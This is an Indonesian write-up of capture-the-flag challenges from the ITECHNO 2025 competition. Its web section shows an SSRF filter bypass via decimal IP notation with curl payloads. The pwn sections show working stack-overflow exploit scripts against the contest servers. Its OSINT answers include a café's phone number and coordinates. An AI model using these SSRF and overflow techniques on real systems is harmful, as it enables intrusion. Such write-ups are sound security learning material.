---
# System prepended metadata

title: Write Up Final ITECHNO PNJ 2025 | TelSec - Peserta

---

# Write Up Capture The Flag ITECHNO 2025 TelSec - Peserta

![image](https://hackmd.io/_uploads/H1K8-_v3ee.png)

**<center>Tyzals</center>**
**<center>Perkenalkan nama saya Bayu, izin dispensasi untuk perkuliahan hari ini dikarenakan kegiatan lomba cyber security di PNJ</center>**
**<center>Cyrus</center>**

---

Category

<a href="#Forensic"> Forensic </a>
* <a href="#3"> Ayo Cari Aku </a>
* <a href="#1"> EMYU </a>

<a href="#Cryptography"> Cryptography </a>
* <a href="#7"> Gaboleh Kasar </a>
* <a href="#8"> Fibonacci Lock </a>

<a href="#Web"> Web </a>
* <a href="#10"> Web Dadakan </a>
* <a href="#9"> Path Doang Mah Kureng </a>

<a href="#PWN"> PWN </a>
* <a href="#27"> PWN Sedikit Ramah </a>
* <a href="#24"> PWN Baik </a>

<a href="#FREE"> FREE </a>
* <a href="#28"> FREE FLAG </a>

<a href="#Reverse-Engineering"> Reverse Engineering </a>
* <a href="#29"> Persatuan I - Mono </a>

<a href="#OSINT"> OSINT </a>
* <a href="#19"> Stalker 1 </a>
* <a href="#21"> Stalker 2 </a>
* <a href="#32"> Stalker 4 </a>



## <a id=Forensic> Forensic </a>

### <center><a id="3"> Ayo Cari Aku </a></center>
<center>100</center>
<center></center>

![](https://hackmd.kamo.my.id/uploads/1d5373f1-e5c9-404c-bd6c-71c971e0104d.png)

dikasi gambar, langsung binwalk 
![](https://hackmd.kamo.my.id/uploads/2d922e20-197c-4e30-927d-e95877459eb1.png)

ada beberapa file tapi saya nemu base64 banyak ini di strings README.docx
![](https://hackmd.kamo.my.id/uploads/5a4c66f3-86b0-4240-8201-d57e89c018a4.png)

lempar GPT buat decrypt dan ternyata gambar
![](https://hackmd.kamo.my.id/uploads/dd456296-3fb2-4394-8889-7cc43f7480c3.png)

dan boom ini flagnya

![](https://hackmd.kamo.my.id/uploads/bdfde4e9-63d0-40a7-b763-7df31dff5f5a.png)

**Flag : ITECHNO2025{Y4h_k3T4Hu4N}**

---

### <center><a id="1"> EMYU </a></center>
<center>304</center>
<center>Metadata Masih Work Kah?

https://drive.google.com/file/d/1Ep1xo0L9JHFJx-JVOUj5foS_qvzx0FOH/view?usp=sharing</center>

![](https://hackmd.kamo.my.id/uploads/470ec5cd-e830-49eb-819e-8899cf952468.png)

![](https://hackmd.kamo.my.id/uploads/f2592d29-4bb8-4085-a390-12637686d85a.png)

normal size is 720x1200, now change the height 720x1300 with imhex
![](https://hackmd.kamo.my.id/uploads/669a4efa-d53d-4640-868c-ab13d15becfe.png)

![](https://hackmd.kamo.my.id/uploads/e2baf4ea-6d26-4e4c-93fd-9b6329ecf31f.png)

and we got the flag.

Flag : ITECHNO2025{M4nch35t3R_I5_Blu333!!!!}

---

## <a id=Cryptography> Cryptography </a>

### <center><a id="7"> Gaboleh Kasar </a></center>
<center>100</center>
<center>Harus bertutur kata sopan</center>



#### 1) Recon & Identifikasi

Dari isi file tantangan (`Gabole_Kasar.txt`), terlihat hanya karakter:

```
+ - < > [ ] .  (dan beberapa pemisah baris)
```

Pola ini khas **Brainfuck**. Jadi, tahap pertama adalah mengeksekusi Brainfuck untuk melihat apa yang dihasilkan.

**Catatan:** Brainfuck sering dipakai untuk “menggulung” pesan menjadi layer lain (mis. ASCII, base64, atau—di sini—Morse).

---

#### 2) Eksekusi Brainfuck → keluar Morse

Setelah dieksekusi, program mencetak deretan **titik dan garis** (`.` dan `-`) yang dipisahkan **spasi** antar huruf dan **newline** antar kata—format standar **Morse ITU**.

Contoh potongan output (beberapa baris awal):

```
.. -. ..
-... .- -. ....
..-. .-.. .- --. -. -.-- .- --..--   ...
```

yang menterjemah menjadi:

```
INI
BANH
FLAGNYA,
...
```

---

#### 3) Decode Morse ke Teks

Kita lakukan pemetaan Morse → karakter (A–Z, 0–9, tanda baca umum seperti koma). Pemisah:

* **Spasi**: antar huruf
* **Newline**: antar kata/baris

Hasil penuh (baris per baris) setelah decoding:

```
INI
BANH
FLAGNYA,
GA
HOAK
KOK
BANH
:
ITECHNO2025Y4N9_S4TU_1NI_B4H4S4NYA_K4S4R_84N6ET,
JANGAN
LUPA
DIKASIH
KURUNG
KURAWAL
YAK
```

Kunci baris di atas adalah baris yang berisi **ITECHNO2025…**. Terlihat jelas ada “leet-speak”:

* `Y4N9` → *YANG*
* `S4TU` → *SATU*
* `1NI`  → *INI* (pakai angka 1)
* `B4H4S4NYA` → *BAHASANYA*
* `K4S4R` → *KASAR*
* `84N6ET` → *BANGET*

Kalimat yang tersirat: “ITECHNO2025 YANG SATU INI BAHASANYA KASAR BANGET,” lalu ada instruksi **“JANGAN LUPA DIKASIH KURUNG KURAWAL YAK.”**

---

#### 4) Penyusunan Flag sesuai Format

Diberikan format **`ITECHNO2025{...}`**. Maka bagian setelah `ITECHNO2025` kita masukkan ke dalam kurung kurawal **tanpa** koma di ujung.

**Flag final:**

```
ITECHNO2025{Y4N9_S4TU_1NI_B4H4S4NYA_K4S4R_84N6ET}
```

---

#### 5) Skrip Verifikasi (Opsional)

Jika ingin memverifikasi sendiri, berikut skrip Python singkat untuk:

1. Menjalankan Brainfuck dari file
2. Mengubah output Morse menjadi teks
3. Menemukan baris yang berisi flag

> Jalankan di direktori yang sama dengan file `Gabole_Kasar.txt`.

```python
# 1) Load Brainfuck code
with open("Gabole_Kasar.txt", "r", encoding="utf-8", errors="ignore") as f:
    code = ''.join(ch for ch in f.read() if ch in '><+-.,[]')

# 2) Brainfuck interpreter sederhana
def bf_interpret(code, input_data=""):
    tape = [0]*30000
    ptr = 0
    out = []
    ip = 0
    # Bracket map
    stack, jump = [], {}
    for i, c in enumerate(code):
        if c == '[': stack.append(i)
        elif c == ']':
            j = stack.pop()
            jump[i] = j
            jump[j] = i
    # Eksekusi
    while ip < len(code):
        c = code[ip]
        if c == '>': ptr += 1
        elif c == '<': ptr -= 1
        elif c == '+': tape[ptr] = (tape[ptr] + 1) % 256
        elif c == '-': tape[ptr] = (tape[ptr] - 1) % 256
        elif c == '.': out.append(chr(tape[ptr]))
        elif c == ',': tape[ptr] = 0
        elif c == '[' and tape[ptr] == 0: ip = jump[ip]
        elif c == ']' and tape[ptr] != 0: ip = jump[ip]
        ip += 1
    return ''.join(out)

morse = bf_interpret(code)

# 3) Decode Morse (spasi=huruf, newline=kata)
MORSE = {
    'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.',
    'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..',
    'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.',
    'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-',
    'Y': '-.--', 'Z': '--..',
    '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-',
    '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.',
    ',': '--..--', '.': '.-.-.-', '?': '..--..', ':': '---...', '-': '-....-',
    '_': '..--.-', '/': '-..-.', '!': '-.-.--', "'": '.----.', '"': '.-..-.',
    '(': '-.--.', ')': '-.--.-', '=': '-...-', '+': '.-.-.', ';': '-.-.-.',
    '&': '.-...', '$': '...-..-', '@': '.--.-.'
}
REV = {v: k for k, v in MORSE.items()}

lines = []
for line in morse.strip().splitlines():
    chars = [REV.get(tok, '?') for tok in line.split() if tok]
    lines.append(''.join(chars))

print("\n".join(lines))

# 4) Ambil baris yang memuat ITECHNO2025
flag_line = next(l for l in lines if l.startswith("ITECHNO2025"))
core = flag_line[len("ITECHNO2025"):].rstrip(",")
flag = f"ITECHNO2025{{{core}}}"
print("FLAG:", flag)
```



**Flag : ITECHNO2025{Y4N9_S4TU_1NI_B4H4S4NYA_K4S4R_84N6ET}**

---

### <center><a id="8"> Fibonacci Lock </a></center>
<center>100</center>
<center>Matematika ilmu yg menyenangkan</center>


Diberikan ciphertext:

```
WVJJUMF2025{BXMOS0_S3VHLC4C6Y4H_G4K_NTO4I_C3K3}
```

Format flag: `ITECHNO2025{...}`.
Hint menyuruh kita mengambil:

* **Hill cipher** (2×2) dari Fibonacci: (\begin{pmatrix}F_6&F_5\F_4&F_3\end{pmatrix}=\begin{pmatrix}8&5\3&2\end{pmatrix}).
* **Affine cipher** per huruf dari Lucas dan fungsi tau: (L_5=11) dan (\tau(2025)=15).

Urutan enkripsi (dari plaintext → ciphertext) adalah:

1. Hill (per 2 huruf, huruf saja), lalu
2. Affine (per huruf),
   sementara **non-alfabet (angka, underscore, kurung kurawal) tetap**.

Maka urutan **dekripsi** kita adalah **kebalikannya**:

1. Affine-inverse per huruf (untuk huruf saja),
2. Hill-inverse per 2 huruf (melewati non-huruf, tapi pairing huruf tetap berlanjut),
3. Non-huruf ditinggal apa adanya.

Hasil akhirnya:

```
ITECHNO2025{CRYPT0_M3NYEN4N6K4N_D4N_MUD4H_H3H3}
```

---

#### Rincian Teknis

##### 1) Kunci Hill dari Fibonacci

Matrix kunci:
[
A=\begin{pmatrix}8&5\3&2\end{pmatrix},\quad
\det(A)=8\cdot2-5\cdot3=1 \pmod{26}
]
Karena determinan = 1, invers di mod 26 adalah adjugate dari (A):
[
A^{-1}=\begin{pmatrix}2&-5\-3&8\end{pmatrix}\equiv
\begin{pmatrix}2&21\23&8\end{pmatrix}\ (\text{mod }26)
]

##### 2) Kunci Affine dari Lucas & (\tau)

* (a=L_5=11)
* (b=\tau(2025)=15)  *(jumlah faktor positif 2025; memang 15)*

Enkripsi affine: (E(x)=(11x+15)\bmod26)
Dekripsi affine: (x=11^{-1},(y-15)\bmod26), dengan (11^{-1}\equiv 19\ (\text{mod }26)) karena (11\cdot19=209\equiv1).

##### 3) Pipeline Dekripsi

* **Alfabet** dipetakan (A=0,\dots,Z=25).
* **Langkah 1 (Affine-inverse per huruf):**
  Untuk setiap huruf (y): (y' = 19,(y-15)\bmod26).
* **Langkah 2 (Hill-inverse per digraf):**
  Ambil aliran huruf (abaikan digit/underscore/kurung), bentuk pasangan berurutan, lalu untuk vektor (\begin{pmatrix}p\q\end{pmatrix}) hitung
  [
  \begin{pmatrix}p'\q'\end{pmatrix} = A^{-1}\begin{pmatrix}p\q\end{pmatrix} \bmod 26
  ]
  Non-huruf tetap di tempatnya; pairing huruf **melompati** non-huruf.
* **Langkah 3:** Konversi kembali ke huruf, gabungkan dengan non-huruf asli.

---

#### Verifikasi Cepat (contoh awal)

Cipher: `W V | J J | U M | F ...`

1. **Affine-inverse:**

* W(22) → (19,(22-15)=19\cdot7=133\equiv3) → D(3)
* V(21) → (19,(21-15)=19\cdot6=114\equiv10) → K(10)

2. **Hill-inverse** pada [D,K] = [3,10]:
   [
   \begin{aligned}
   p' &= 2\cdot3 + 21\cdot10 = 216 \equiv 8 \ (\text{I})\
   q' &= 23\cdot3 + 8\cdot10 = 149 \equiv 19\ (\text{T})
   \end{aligned}
   ]
   → “IT”.
   Pasangan berikut `J J` → “EC”, lalu `U M` → “HN”. Hasil awalan: **ITECHN…**, sesuai format `ITECHNO2025{...}`.

---

#### Script Referensi (Python)

> Hanya huruf [A-Z] yang diproses; lainnya dipertahankan. Pairing huruf berlanjut melewati non-huruf.

```python
import string

alpha = string.ascii_uppercase
A2i = {c:i for i,c in enumerate(alpha)}
i2A = {i:c for c,i in A2i.items()}

# Hill inverse matrix mod 26
Ainv = [[2,21],
        [23,8]]
mod = 26

def inv_affine_char(ch):
    # return None kalau bukan huruf
    if ch not in A2i: return None
    y = A2i[ch]
    x = (19 * ((y - 15) % mod)) % mod  # 11^{-1}=19
    return i2A[x]

def hill_inverse_pair(p, q):
    # p,q huruf A-Z
    vp, vq = A2i[p], A2i[q]
    r0 = (Ainv[0][0]*vp + Ainv[0][1]*vq) % mod
    r1 = (Ainv[1][0]*vp + Ainv[1][1]*vq) % mod
    return i2A[r0], i2A[r1]

def decrypt(ct):
    # 1) Affine-inverse per huruf
    aff = []
    mask = []  # True jika huruf
    for ch in ct:
        if ch in A2i:
            aff.append(inv_affine_char(ch))
            mask.append(True)
        else:
            aff.append(ch)
            mask.append(False)
    # 2) Hill-inverse pada stream huruf (skip non-huruf, pairing berlanjut)
    letters = [c for c,m in zip(aff,mask) if m]
    out_letters = []
    i = 0
    while i < len(letters):
        a = letters[i]
        b = letters[i+1] if i+1 < len(letters) else 'X'  # jika ganjil, pad dengan X
        r0, r1 = hill_inverse_pair(a, b)
        out_letters.extend([r0, r1])
        i += 2
    # 3) Sisipkan kembali non-huruf
    res = []
    j = 0
    for m,ch in zip(mask, aff):
        if m:
            res.append(out_letters[j])
            j += 1
        else:
            res.append(ch)
    return ''.join(res)

ct = "WVJJUMF2025{BXMOS0_S3VHLC4C6Y4H_G4K_NTO4I_C3K3}"
pt = decrypt(ct)
print(pt)
```

Output:

```
ITECHNO2025{CRYPT0_M3NYEN4N6K4N_D4N_MUD4H_H3H3}
```

---

#### Catatan & Pitfall

* **Urutan operasi penting**: karena enkripsi adalah Hill → Affine, maka dekripsi wajib Affine-inverse → Hill-inverse.
* **Determinant 1** memudahkan invers Hill (selalu invertible mod 26).
* **Non-huruf** tidak ikut affine/Hill; **namun pairing huruf** tidak terputus oleh non-huruf.
* Jika jumlah huruf ganjil, tambahkan padding (mis. “X”) saat proses Hill; pada kasus ini aliran huruf genap, jadi aman.

---


**Flag : ITECHNO2025{CRYPT0_M3NYEN4N6K4N_D4N_MUD4H_H3H3}**

---

## <a id=Web> Web </a>

### <center><a id="10"> Web Dadakan </a></center>
<center>100</center>
<center>Web Belom Jadi, Bisa Lah Di Anuin

https://c-impromptu.itechnocup.id/</center>
pencet login dummy
![](https://hackmd.kamo.my.id/uploads/a284e84a-0ebf-41c7-9bdb-b3cde9389529.png)

keknya flagnya ada disitu
![](https://hackmd.kamo.my.id/uploads/0a040acb-55d9-4e45-9c6a-132589a256e0.png)

tinggal ganti deh rolenya ke superadmin 
![](https://hackmd.kamo.my.id/uploads/bf085d9c-0b83-4fd3-b7e3-8fef90adac12.png)
![](https://hackmd.kamo.my.id/uploads/4288b6af-b289-44ca-a9cc-e09a76f68c62.png)


**Flag : ITECHNO2025{W3bs1te_1ni_D1bu4t_D4daKan}**

---

### <center><a id="9"> Path Doang Mah Kureng </a></center>
<center>496</center>
<center>Nge Dir path bang?,  Ga cukup brok

https://c-path.itechnocup.id/</center>



---

#### Analisis Aplikasi (Client-Side)

Dari `index.html` dan `app.js`:

* Form kirim `POST /api/preview` dengan JSON: `{"u": "<url_target>"}`.
* Backend mem-fetch konten dan mengembalikan ringkasan ke UI.
* Tidak ada validasi di client-side selain required input; validasi terjadi di server.

Cuplikan penting `app.js`:

```js
const resp = await fetch('/api/preview', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({ u: urlInput.value })
});
```

Artinya kita bisa menginstruksikan server agar mengakses **URL apa pun** yang ia bisa jangkau (termasuk jaringan internal/localhost) → indikasi klasik **SSRF**.

---

#### Hipotesis Filter Server

* Payload seperti `http://127.0.0.1.nip.io/…` atau `[::1]` → **diblock** (`"URL not allowed"`).
* Payload `http://2130706433/...` → **lolos** dan mengembalikan HTML index.
  ⇒ Besar kemungkinan filter hanya memeriksa **string** `127.0.0.1`, `localhost`, IPv6, dsb., **bukan** semua representasi IP.
  IPv4 loopback dalam **decimal** tidak tertangkap regex/validator → celah **bypass**.

> Catatan: `2130706433` adalah representasi desimal dari 127.0.0.1
> Perhitungan: `127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433`.

---

#### Eksploitasi

##### 1) Konfirmasi SSRF ke loopback

```bash
curl -sS 'https://c-path.itechnocup.id/api/preview' \
  -H 'Content-Type: application/json' \
  --data '{"u":"http://2130706433/"}'
```

Respon menunjukkan HTML index situs (berarti request dijalankan dari server ke loopback).

##### 2) Enumerasi path umum

Coba beberapa kandidat path internal (flag/env/health):

```bash
ENDPOINT='https://c-path.itechnocup.id/api/preview'
for p in /flag /flag.txt /.flag /admin/flag /api/flag /internal/flag /healthz / ; do
  curl -sS "$ENDPOINT" -H 'Content-Type: application/json' \
    --data "{\"u\":\"http://2130706433$p\"}"
done
```

##### 3) Hasil kunci

* `/internal/flag` memberikan:

```
{"ok":true,"flag":"ITECHNO2025{W3b_TR00o5Ss}"}
```

* `/healthz` mengembalikan `ok` (indikasi service hidup).
* Path lain mengembalikan HTML index (bukan flag).

##### 4) PoC minimal (single shot)

```bash
curl -sS 'https://c-path.itechnocup.id/api/preview' \
  -H 'Content-Type: application/json' \
  --data '{"u":"http://2130706433/internal/flag"}'
```
![](https://hackmd.kamo.my.id/uploads/b5c4805e-ccff-4c8b-b8c3-16edf723d04e.png)

**Flag:** `ITECHNO2025{W3b_TR00o5Ss}` ✅

---

#### Mengapa Bypass Berhasil?

* Validator server kemungkinan berbasis **deny-list string**: `localhost`, `127.0.0.1`, `::1`, mungkin CIDR private umum.
* IP **integer notation** jarang di-sanitize, padahal banyak library HTTP (termasuk di backend populer) tetap akan mengonversinya ke loopback yang sama.
* Hasilnya, request SSRF diarahkan ke **127.0.0.1** tanpa terdeteksi.

---





**Flag : ITECHNO2025{W3b_TR00o5Ss}**

---

## <a id=PWN> PWN </a>

### <center><a id="27"> PWN Sedikit Ramah </a></center>
<center>100</center>
<center>Ramah Banget PWN Ini Sampe Dikasih Hint</center>

#### Recon
```
$ file chall
chall: ELF 32-bit LSB executable, Intel i386, dynamically linked, ... , not stripped

$ checksec --file=chall
Arch: i386-32-little
RELRO: Partial RELRO
Canary: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
Strings menarik:
```
"DEBUG: win() is at %p"
"Welcome to PWN MEDIUM! Can you bypass me?"
"Give me your input:"
"Congrats! Here's your flag: %s"
"/flag"
```

#### Reversing singkat
- `win()`
  - `f = fopen("/flag", "r")`; jika gagal → "Flag not found!" dan `exit(1)`.
  - `fgets(buf, 0x64, f)` lalu `printf("Congrats! Here's your flag: %s", buf)` → `exit(0)`.
- `vuln()`
  - Menampilkan banner, lalu memanggil `gets()` ke alamat ` [ebp-0x48]` (tanpa batasan ukuran).  
  - Epilog: `leave; ret`.

NX menyala, tapi karena No PIE, alamat `win()` statis di binary lokal. Pada remote, service memberi alamat dinamis langsung di banner: `DEBUG: win() is at 0xXXXXXXXX` sehingga kita bisa pakai alamat itu (lebih aman daripada asumsi alamat statis lokal).

#### Offset ke EIP
Dari disassembly:
- Prolog: `push ebp; mov ebp, esp; push ebx; sub esp, 0x44`
- Buffer dipakai di `[ebp-0x48]` → jarak ke `ret` di `[ebp+4]` adalah `0x4C = 76` byte.  
Sehingga, untuk menimpa return address: 76 byte junk, lalu alamat `win()` (little‑endian).

#### Strategi Eksploitasi
- Baca banner, ambil alamat `win()` dari string `DEBUG`.
- Kirim payload: `b'A'*76 + p32(addr_win) + b'\n'`.
- Setelah `ret`, eksekusi lompat ke `win()` yang akan mencetak flag.

#### Eksekusi (Python sockets)
```
python3 - << 'PY'
import socket,sys,struct,re
h='195.154.94.231'; p=50150
s=socket.create_connection((h,p),timeout=8)
# Baca banner
banner=s.recv(4096).decode('latin1','ignore'); print(banner, end='')
# Ambil alamat win() dari banner
addr=int(re.search(r'0x[0-9a-fA-F]+', banner).group(0),16)
# Susun payload
payload=b'A'*76 + struct.pack('<I', addr) + b'\n'
s.sendall(payload)
# Baca output
s.settimeout(3)
try:
    while True:
        d=s.recv(4096)
        if not d: break
        print(d.decode('latin1','ignore'), end='')
except: pass
PY
```
![](https://hackmd.kamo.my.id/uploads/6880ceeb-0033-41f7-9e60-f8f6faaff9c8.png)


#### Alternatif: Pwntools
```
from pwn import *
import re
io = remote('195.154.94.231', 50150)
banner = io.recvuntil(b'input:').decode()
addr = int(re.search(r'0x[0-9a-fA-F]+', banner).group(0), 16)
payload = b'A'*76 + p32(addr) + b'\n'
io.send(payload)
print(io.recvall(timeout=3).decode())
```


**Flag : ITECHNO2025{PWN_M3d1UM_k0k_Ga4mpan6}**

---

### <center><a id="24"> PWN Baik </a></center>
<center>356</center>
<center>Baik Banget Cuma Input Input (Kayaknya)</center>



Program menggunakan `gets()` ke buffer stack → kita overwrite saved EIP → ret-to-`win()` → flag keluar. Exploit: `A*76 + p32(0x08049276)`. Boom.

---

#### Recon singkat

* `file chall` → ELF 32-bit, not PIE
* `readelf -s` / `nm` → ada symbol `win`
* `strings` → pesan input dan clue "Admin Mode" / flag-print

---

#### Root cause

`vuln()` memanggil `gets()` ke buffer di stack. Buffer berada di `ebp-0x48` (72 bytes). Saved EIP ada di `ebp+4`, jadi jarak dari buffer-start ke saved EIP = `72 + 4 = 76` bytes → **offset = 76**.

Binary **tidak PIE**, jadi alamat `win()` statis: `0x08049276`.

---

#### Exploit idea

Tulis 76 byte padding (filler) lalu tulis alamat `win()` (little-endian) di tempat saved EIP. Karena `win()` mencetak flag, kita cukup redirect eksekusi ke sana.

Payload:
`"A"*76 + pack("<I", 0x08049276) + "\n"`

---

#### Exploit (langsung dipakai)

Tanpa pwntools:

```python
#!/usr/bin/env python3
import socket, struct
HOST, PORT = "195.154.94.231", 50151
def p32(x): return struct.pack("<I", x)
payload = b"A"*76 + p32(0x08049276) + b"\n"
with socket.create_connection((HOST, PORT)) as s:
    print(s.recv(1024).decode(errors='replace'))  # banner
    s.sendall(payload)
    print(s.recv(4096).decode(errors='replace'))  # flag output
```

Dengan pwntools:

```python
from pwn import *
r = remote("195.154.94.231", 50151)
r.sendline(b"A"*76 + p32(0x08049276))
print(r.recvall(timeout=2).decode())
```

---

![](https://hackmd.kamo.my.id/uploads/3bd7a032-315a-4982-859b-41cbd5838aaf.png)


**Flag : ITECHNO2025{Pwn_P_nya_Pembaik}**

---

## <a id=FREE> FREE </a>

### <center><a id="28"> FREE FLAG </a></center>
<center>100</center>
<center>ITECHNO2025{S3L4mat_M3nuna1kan_L0mb4_C3T3eP}</center>


**Flag : ITECHNO2025{S3L4mat_M3nuna1kan_L0mb4_C3T3eP}**

---

## <a id=Reverse-Engineering> Reverse Engineering </a>

### <center><a id="29"> Persatuan I - Mono </a></center>
<center>176</center>
<center>Mudah, andai kamu jago modding game Unity</center>

#### Ringkasan Tantangan

File: `Flagged.exe` (Unity, Mono)
Target: temukan flag dengan format `ITECHNO2025{...}`
Kendala: **`Assembly-CSharp.dll` tidak ada** di `Flagged_Data\Managed\`.

#### Gambaran Solusi

Walau `Assembly-CSharp.dll` biasanya berisi script game, proyek ini memakai **Assembly Definition (.asmdef)** sehingga kode kustom dikompilasi ke **DLL lain**: `Unity.HttpModule.dll`. Di dalamnya ada logika UI (TMP_InputField, Button.onClick) dan routine sederhana untuk menyandikan flag (base64 + XOR). Dengan mengekstrak blob base64 dan melakukan XOR dengan kunci, kita mendapatkan flag.

#### Langkah Lengkap

##### 1) Enumerasi Proyek

Struktur folder (penting):

```
Flagged.exe
Flagged_Data\
  Managed\
    Unity.HttpModule.dll   <-- kode kustom
    (banyak Unity/System *.dll)
  *.assets / *.resS
MonoBleedingEdge\
```

Kehadiran **MonoBleedingEdge** mengonfirmasi build **Mono** (bukan IL2CPP). Artinya kode C# tetap dalam bentuk DLL yang dapat didekompilasi.

##### 2) Kenapa `Assembly-CSharp.dll` Tidak Ada

Developer memakai **asmdef**; Unity tidak lagi membangun semua script ke `Assembly-CSharp.dll`, melainkan ke **nama DLL kustom**. Karena itu, fokuskan analisis pada DLL non-Unity/non-System—di sini **`Unity.HttpModule.dll`**.

Tips cepat (PowerShell) untuk menyorot DLL kustom:

```powershell
Get-ChildItem "Flagged_Data\Managed\*.dll" |
  Where-Object { $_.Name -notmatch '^System|^mscorlib|^netstandard|^Mono\.Security|^Unity' } |
  Select-Object Name
```

##### 3) Statis: Buka `Unity.HttpModule.dll`

Alat: **dnSpy** atau **ILSpy**.
Cari referensi:

* `Button.get_onClick()`, `TMP_InputField`, `TMP_Text.set_text(string)`
* `Convert.FromBase64String`, `Encoding.UTF8.GetString`
* String mencurigakan seperti `flag`, `ctf`, `{`, `dGVjaG5v` (base64 untuk `"techno"`), dsb.

Hasil penting yang ditemukan:

* Ada **blob base64**:
  `PTEmKyYhO1dTWlsUH1YNXB5bKxxXADEIRwg8AxswFlYEWQBeKwFTXAAECQ==`
* Ada kunci yang tersirat base64 **`dGVjaG5v`** → `"techno"`.
* Handler tombol memproses input/atau menyusun flag via **Base64 decode** lalu **XOR** per-byte dengan kunci tersebut.

> Catatan: Nama variabel/kelas bisa berbeda, namun pola panggilan API mengarah ke operasi **Base64 → XOR**.

##### 4) Dekode di Luar (lebih cepat)

Gunakan skrip Python untuk meniru logika:

```python
import base64
cipher = base64.b64decode("PTEmKyYhO1dTWlsUH1YNXB5bKxxXADEIRwg8AxswFlYEWQBeKwFTXAAECQ==")
key = b"techno"
flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher)).decode()
print(flag)
# ITECHNO2025{k3n4p4_y4h_g3m_ku_b3g1n1_d04nk}
```

##### 5) (Alternatif) Patch & Dump di dnSpy

Jika ingin membuktikan runtime:

* Di method yang menghasilkan string akhir `flag`, tambahkan:

  ```csharp
  using System.IO;
  using UnityEngine;
  File.WriteAllText(Path.Combine(Application.persistentDataPath, "flag.txt"), flag);
  Debug.Log("FLAG => " + flag);
  ```
* Build module, jalankan game, lalu cek:

  ```
  %USERPROFILE%\AppData\LocalLow\<Company>\<Product>\flag.txt
  ```

  atau `Player.log` di folder yang sama.

##### 6) Cek Aset (opsional)

Bila kode tidak jelas, pakai **AssetStudioGUI/AssetRipper** pada `Flagged_Data` → filter **TextAsset/MonoBehaviour/TMP** dan cari `flag{`, `ITECHNO2025{`, dsb. Pada kasus ini tidak diperlukan karena dekripsi cukup.

### Hasil

Flag terdekripsi:

```
ITECHNO2025{k3n4p4_y4h_g3m_ku_b3g1n1_d04nk}
```

#### Catatan & Pelajaran

* **Mono + asmdef**: jika `Assembly-CSharp.dll` “hilang”, cari DLL kustom lain di `Managed\`.
* Pola umum obfuskasi CTF Unity ringan: **Base64**, **XOR** sederhana, kadang **ROT**/**RC4**/**AES** dengan kunci hard-coded.
* dnSpy sangat efektif: lihat handler `onClick` / `Start` / `Awake` atau apa pun yang menyentuh `TMP_InputField`/`TMP_Text`.

**Flag : ITECHNO2025{k3n4p4_y4h_g3m_ku_b3g1n1_d04nk}**

---

## <a id=OSINT> OSINT </a>

### <center><a id="19"> Stalker 1 </a></center>
<center>304</center>
<center>Tebak Arah Pulang Atmin

ITECHNO2025{NamaTempat_NamaUniversitas}</center>

Untung tadi pagi jalan lewat sini (tapi namanya disini PUSGIWA bukan SOR :<)

![](https://hackmd.kamo.my.id/uploads/7548a4a3-3bf4-4a15-bddd-9d1669b287b7.png)

di bikun emang SOR sih, mengkesal
![](https://hackmd.kamo.my.id/uploads/789c9077-b3c1-4331-a596-d2f33b530756.png)



**Flag : ITECHNO2025{SOR_UniversitasIndonesia}**

---

### <center><a id="21"> Stalker 2 </a></center>
<center>436</center>
<center>Atmin Dan Probset Sedang Liburan, Coba Kepoin Dong

ITECHNO2025{NamaWarkop_NoTelp_Longitude_Latitude_@Instagram}

instagramnya sudah menghilang tapi masi bisa dicari</center>

Thankyouuuuuuuu GEMINIIIIII (Nyasar dikit tapi Kebon Ndalem Cafe gila sih)

![](https://hackmd.kamo.my.id/uploads/7476784d-3d60-4ff2-b0c9-9f5cbcd97a50.png)


**Flag : ITECHNO2025{WarmindoTuguCorner_0895321896803_-7.7825755_110.3670691_@warmindotugu}**

---

### <center><a id="32"> Stalker 4 </a></center>
<center>500</center>
<center>Nad dengan akun X barunya dapat fyp tentang RCE lama di sebuah akun berbagi ilmu bug bounty, lalu dia komentar di postingan tersebut, dan dia menuju ke report platform bug bounty yang ada di link postingan, karna penasaran Lembaga sebesar itu kenapa bisa terkena RCE.

cari tau akun barunya dan postingan X mana yang dimaksud serta tanggal report si hacker serta CVE nya

ITECHNO2025{@UsernameX_TanggalReport_IDCVE}

contoh format = "ITECHNO2025{@aanbcdss_October 8, 2022 8:32am UTC_CVE-2022-34912}"</center>


Disini saya menggunakan Grok AI karena Grok AI mempunyai seluruh data dari twitter, dengan prompt copy paste soal berseta hint hint nya saya mendapatkan user tersebut 
![](https://hackmd.kamo.my.id/uploads/a604661a-a5ae-4c41-8dcc-02f01c7ee812.png)
![](https://hackmd.kamo.my.id/uploads/6edfd559-f0d6-4ace-afd4-270a5d02cf06.png)
![](https://hackmd.kamo.my.id/uploads/c947135d-34ae-493c-98fc-73f74e052668.png)
![](https://hackmd.kamo.my.id/uploads/8d6ba9a0-648a-4657-ac9e-ea838d6f931f.png)
![](https://hackmd.kamo.my.id/uploads/f870ae60-9b53-4ce1-8df4-d2edf8e98040.png)

 
 -----
 
Username X : @Who5TH3Re
Tanggal Report : September 2, 2021, 2:58am UTC
CVE : CVE-2021-26084
Link CVE : https://hackerone.com/reports/1327701
Link Postingan : https://x.com/bountywriteups/status/1738477133511475551


**Flag : ITECHNO2025{@Who5TH3Re_September 2, 2021, 2:58am UTC_CVE-2021-26084}**

---